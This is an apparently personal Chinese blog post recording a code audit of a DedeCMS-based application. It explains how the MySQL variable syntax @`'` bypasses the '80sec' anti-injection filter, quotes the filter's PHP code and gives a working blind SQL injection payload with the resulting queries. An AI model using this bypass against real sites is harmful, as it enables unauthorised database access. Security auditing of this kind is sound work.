关于某源码实战80sec防注入绕过

前言:自己在看一套dede的二开源码的时候记录下

参考文章:https://blog.csdn.net/wswokao/article/details/80792139
参考文章:https://www.uedbox.com/post/19828/

知识点:

在Mysql当中,定义变量用@字符,可以用set @a='abc',来为变量赋值,然后通过select @a来进行取值

通过上面的了解,可以直接定义一个空值的变量出来,比如 @``,结果如下:

80sec中绕过的利用

80Ssec过滤代码:

	while (true)
	{
		$pos = strpos($db_string, '\'', $pos + 1); // 检测单引号 '
		if ($pos === false) //如果不存在单引号则直接跳出
		{
			break;
		}
		$clean .= substr($db_string, $old_pos, $pos - $old_pos);
		while (true)
		{
			$pos1 = strpos($db_string, '\'', $pos + 1);
			$pos2 = strpos($db_string, '\\', $pos + 1);
			if ($pos1 === false)
			{
				break;
			}
			elseif ($pos2 == false || $pos2 > $pos1)
			{
				$pos = $pos1;
				break;
			}
			$pos = $pos2 + 1;
		}
		$clean .= '$s$';
		$old_pos = $pos + 1;
	}
	$clean .= substr($db_string, $old_pos);
	$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用 @`'` 放入sql语句当中,帮助我们绕过防注入程序检查,这两个也可以进行使用:@`'`@,"`'`"

在审计的时候遇到一个整形的注入点,该如何绕过(gpc开启的状态下,其实这里开不开都无所谓,因为dede中自己也会进行对应的处理的)?如下的代码可以知道,当被两边单引号包裹的地方会被替换为$s$

注入绕过语句:1 or @`'` and (select length(database())=11)#'

过滤处理后的语句:select XXXX from XX_station_letters where id = 1 or @`\$s$ order by createdtime desc

最后执行的语句:SELECT XXXX FROM XX_station_letters where id = 1 or @`'` and (select length(database())=11)

@`'`和 #' 来配合包裹对中间的语句作为$s$处理直接绕过了80sec注入,然后右边又是一个注释符过滤了单引号,酒馆师傅还是强!

posted @ 2020-08-29 19:20  zpchcbd  阅读(843)  评论(0编辑  收藏  举报